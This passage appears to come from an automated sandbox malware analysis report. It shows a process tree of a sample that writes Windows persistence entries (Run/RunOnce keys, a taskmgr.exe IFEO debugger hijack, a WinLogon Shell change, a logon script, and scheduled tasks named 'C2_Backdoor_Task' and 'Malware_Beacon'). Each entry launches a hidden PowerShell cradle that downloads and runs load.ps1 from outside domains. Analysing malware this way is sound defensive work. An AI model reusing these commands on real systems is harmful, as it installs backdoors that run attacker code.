      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88clb.limited/load.ps1')\"" /f
      2⤵
        PID:3092
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88clb.limited/load.ps1')\"" /f
          3⤵
          • Event Triggered Execution: Image File Execution Options Injection
          PID:2768
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88clb.limited/load.ps1')\"" /f
        2⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        PID:1316
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88clb.limited/load.ps1')\"" /f
          3⤵
          • Modifies WinLogon for persistence
          PID:2528
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88clb.limited/load.ps1')\"" /f
        2⤵
        • Executes a command shell one-liner
        PID:1604
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88clb.limited/load.ps1')\"" /f
          3⤵
          • Registers new Windows logon scripts automatically executed at logon.
          PID:2364
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88clb.limited/load.ps1')\"" /sc onlogon /f
        2⤵
        • System Location Discovery: System Language Discovery
        PID:4156
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88clb.limited/load.ps1')\"" /sc onlogon /f
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4696
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88clb.limited/load.ps1')\"" /sc minute /mo 5 /f
        2⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        PID:2344
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88clb.limited/load.ps1')\"" /sc minute /mo 5 /f
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1660
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mevideo.co/load.ps1')\"" /f
        2⤵
          PID:1556
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mevideo.co/load.ps1')\"" /f
            3⤵
            • Adds Run key to start application
            PID:3676
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mevideo.co/load.ps1')\"" /f
          2⤵
            PID:3204
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mevideo.co/load.ps1')\"" /f
              3⤵
              • Adds Run key to start application
              PID:2388
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mevideo.co/load.ps1')\"" /f
            2⤵
            • Executes a command shell one-liner
            PID:5072
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mevideo.co/load.ps1')\"" /f
              3⤵
              • Event Triggered Execution: Image File Execution Options Injection
              PID:1968
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mevideo.co/load.ps1')\"" /f
            2⤵
            • Executes a command shell one-liner
            • System Location Discovery: System Language Discovery
            PID:3712
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mevideo.co/load.ps1')\"" /f
              3⤵
              • Modifies WinLogon for persistence
              • System Location Discovery: System Language Discovery
              PID:3780
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mevideo.co/load.ps1')\"" /f
            2⤵
            • Executes a command shell one-liner
            • System Location Discovery: System Language Discovery
            PID:5040
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mevideo.co/load.ps1')\"" /f
              3⤵
              • Registers new Windows logon scripts automatically executed at logon.
              • System Location Discovery: System Language Discovery
              PID:1496
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mevideo.co/load.ps1')\"" /sc onlogon /f
            2⤵
            • Executes a command shell one-liner
            PID:1080
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mevideo.co/load.ps1')\"" /sc onlogon /f
              3⤵
              • System Location Discovery: System Language Discovery
              • Scheduled Task/Job: Scheduled Task
              PID:3300
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mevideo.co/load.ps1')\"" /sc minute /mo 5 /f
            2⤵
            • Executes a command shell one-liner
            PID:2924
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mevideo.co/load.ps1')\"" /sc minute /mo 5 /f
              3⤵
              • System Location Discovery: System Language Discovery
              • Scheduled Task/Job: Scheduled Task
              PID:3832
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8vn.co.com/load.ps1')\"" /f
            2⤵
              PID:772
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8vn.co.com/load.ps1')\"" /f
                3⤵
                • Adds Run key to start application
                PID:4988
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8vn.co.com/load.ps1')\"" /f
              2⤵
                PID:4660
                • C:\Windows\SysWOW64\reg.exe
                  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8vn.co.com/load.ps1')\"" /f
                  3⤵
                  • Adds Run key to start application
                  • System Location Discovery: System Language Discovery
                  PID:4892
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8vn.co.com/load.ps1')\"" /f
                2⤵
                • Executes a command shell one-liner
                • System Location Discovery: System Language Discovery
                PID:4384
                • C:\Windows\SysWOW64\reg.exe
                  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8vn.co.com/load.ps1')\"" /f
                  3⤵
                  • Event Triggered Execution: Image File Execution Options Injection
                  • System Location Discovery: System Language Discovery
                  PID:380
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8vn.co.com/load.ps1')\"" /f
                2⤵
                • Executes a command shell one-liner
                • System Location Discovery: System Language Discovery
                PID:1676
                • C:\Windows\SysWOW64\reg.exe
                  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8vn.co.com/load.ps1')\"" /f
                  3⤵
                  • Modifies WinLogon for persistence
                  PID:4544
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8vn.co.com/load.ps1')\"" /f
                2⤵
                • Executes a command shell one-liner
                PID:3164
                • C:\Windows\SysWOW64\reg.exe
                  reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8vn.co.com/load.ps1')\"" /f
                  3⤵
                  • Registers new Windows logon scripts automatically executed at logon.
                  PID:2644
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8vn.co.com/load.ps1')\"" /sc onlogon /f
                2⤵
                • Executes a command shell one-liner
                PID:2748
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8vn.co.com/load.ps1')\"" /sc onlogon /f
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:1700
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8vn.co.com/load.ps1')\"" /sc minute /mo 5 /f
                2⤵
                  PID:4200
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8vn.co.com/load.ps1')\"" /sc minute /mo 5 /f
                    3⤵
                    • System Location Discovery: System Language Discovery
                    • Scheduled Task/Job: Scheduled Task
                    PID:3708
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /f
                  2⤵
                  • Executes a command shell one-liner
                  PID:1620
                  • C:\Windows\SysWOW64\reg.exe
                    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /f
                    3⤵
                    • Adds Run key to start application
                    PID:4556
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /f
                  2⤵
                  • Executes a command shell one-liner
                  PID:2688
                  • C:\Windows\SysWOW64\reg.exe
                    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /f
                    3⤵
                    • Adds Run key to start application
                    PID:4580
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /f
                  2⤵
                  • Executes a command shell one-liner
                  • System Location Discovery: System Language Discovery
                  PID:776
                  • C:\Windows\SysWOW64\reg.exe
                    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /f
                    3⤵
                    • Event Triggered Execution: Image File Execution Options Injection
                    PID:220
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /f
                  2⤵
                    PID:3892
                    • C:\Windows\SysWOW64\reg.exe
                      reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /f
                      3⤵
                      • Modifies WinLogon for persistence
                      PID:1844
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /f
                    2⤵
                    • System Location Discovery: System Language Discovery
                    PID:1596
                    • C:\Windows\SysWOW64\reg.exe
                      reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /f
                      3⤵
                      • Registers new Windows logon scripts automatically executed at logon.
                      PID:3952
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /sc onlogon /f
                    2⤵
                    • Executes a command shell one-liner
                    PID:5060
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /sc onlogon /f
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:568
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /sc minute /mo 5 /f
                    2⤵
                    • Executes a command shell one-liner
                    PID:1012
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\"" /sc minute /mo 5 /f
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:2260
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /f
                    2⤵
                      PID:4844
                      • C:\Windows\SysWOW64\reg.exe
                        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /f
                        3⤵
                        • Adds Run key to start application
                        PID:5108
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /f
                      2⤵
                      • Executes a command shell one-liner
                      • System Location Discovery: System Language Discovery
                      PID:556
                      • C:\Windows\SysWOW64\reg.exe
                        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /f
                        3⤵
                        • Adds Run key to start application
                        PID:3760
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /f
                      2⤵
                      • Executes a command shell one-liner
                      PID:4208
                      • C:\Windows\SysWOW64\reg.exe
                        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /f
                        3⤵
                        • Event Triggered Execution: Image File Execution Options Injection
                        PID:2276
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /f
                      2⤵
                        PID:420
                        • C:\Windows\SysWOW64\reg.exe
                          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /f
                          3⤵
                          • Modifies WinLogon for persistence
                          PID:3284
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /f
                        2⤵
                          PID:32
                          • C:\Windows\SysWOW64\reg.exe
                            reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /f
                            3⤵
                            • Registers new Windows logon scripts automatically executed at logon.
                            • System Location Discovery: System Language Discovery
                            PID:4588
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /sc onlogon /f
                          2⤵
                          • Executes a command shell one-liner
                          • System Location Discovery: System Language Discovery
                          PID:2332
                          • C:\Windows\SysWOW64\schtasks.exe
                            schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /sc onlogon /f
                            3⤵
                            • Scheduled Task/Job: Scheduled Task
                            PID:4584
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /sc minute /mo 5 /f
                          2⤵
                          • Executes a command shell one-liner
                          PID:2728
                          • C:\Windows\SysWOW64\schtasks.exe
                            schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /sc minute /mo 5 /f
                            3⤵
                            • Scheduled Task/Job: Scheduled Task
                            PID:4892
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tga95.games/load.ps1')\"" /f
                          2⤵
                          • Executes a command shell one-liner
                          PID:4812
                          • C:\Windows\SysWOW64\reg.exe
                            reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tga95.games/load.ps1')\"" /f
                            3⤵
                            • Adds Run key to start application
                            PID:4508
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tga95.games/load.ps1')\"" /f
                          2⤵
                            PID:3332
                            • C:\Windows\SysWOW64\reg.exe
                              reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tga95.games/load.ps1')\"" /f
                              3⤵
                              • Adds Run key to start application
                              • System Location Discovery: System Language Discovery
                              PID:3076
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tga95.games/load.ps1')\"" /f
                            2⤵
                            • System Location Discovery: System Language Discovery
                            PID:2536
                            • C:\Windows\SysWOW64\reg.exe
                              reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tga95.games/load.ps1')\"" /f
                              3⤵
                              • Event Triggered Execution: Image File Execution Options Injection
                              PID:4832
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tga95.games/load.ps1')\"" /f
                            2⤵
                              PID:5012
                              • C:\Windows\SysWOW64\reg.exe
                                reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tga95.games/load.ps1')\"" /f
                                3⤵
                                • Modifies WinLogon for persistence
                                PID:2628
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tga95.games/load.ps1')\"" /f
                              2⤵
                              • Executes a command shell one-liner
